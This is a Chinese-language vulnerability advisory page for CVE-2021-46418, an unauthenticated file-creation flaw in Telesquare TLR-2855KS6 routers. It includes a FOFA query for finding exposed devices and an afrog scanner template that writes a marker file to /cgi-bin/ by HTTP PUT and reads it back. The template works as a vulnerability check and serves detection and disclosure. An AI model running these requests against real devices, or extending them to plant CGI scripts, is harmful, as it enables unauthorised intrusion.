CVE-2021-46418: Telesquare TLR-2855KS6 - 任意文件创建

日期: 2025-09-01 | 影响软件: Telesquare TLR-2855KS6 | POC: 已公开

漏洞描述

Telesquare TLR-2855KS6 中存在通过 PUT 方法创建未授权文件的漏洞，可允许创建 CGI 脚本。 fofa-query: product=="TELESQUARE-TLR-2855KS6"

PoC代码[已公开]

id: CVE-2021-46418

info:
  name: Telesquare TLR-2855KS6 - 任意文件创建
  author: Momen Eldawakhly (Cyber Guy)
  severity: critical
  description: |
    Telesquare TLR-2855KS6 中存在通过 PUT 方法创建未授权文件的漏洞，可允许创建 CGI 脚本。
    fofa-query: product=="TELESQUARE-TLR-2855KS6"
  reference:
    - https://www.exploit-db.com/exploits/50862
    - http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.html
    - https://drive.google.com/drive/folders/1avIfk1MZNmNQYePE1_n4irC24daxCeBA

rules:
  r0:
    request:
      method: PUT
      path: /cgi-bin/testing_cve.txt
      headers:
        DNT: 1
      body: |
        File creation via PUT method POC
    expression: response.status == 201
  r1:
    request:
      method: GET
      path: /cgi-bin/testing_cve.txt
    expression: response.status == 200 && response.body.bcontains(b'File creation via PUT method POC')
expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2021/CVE-2021-46418.yaml

相关漏洞推荐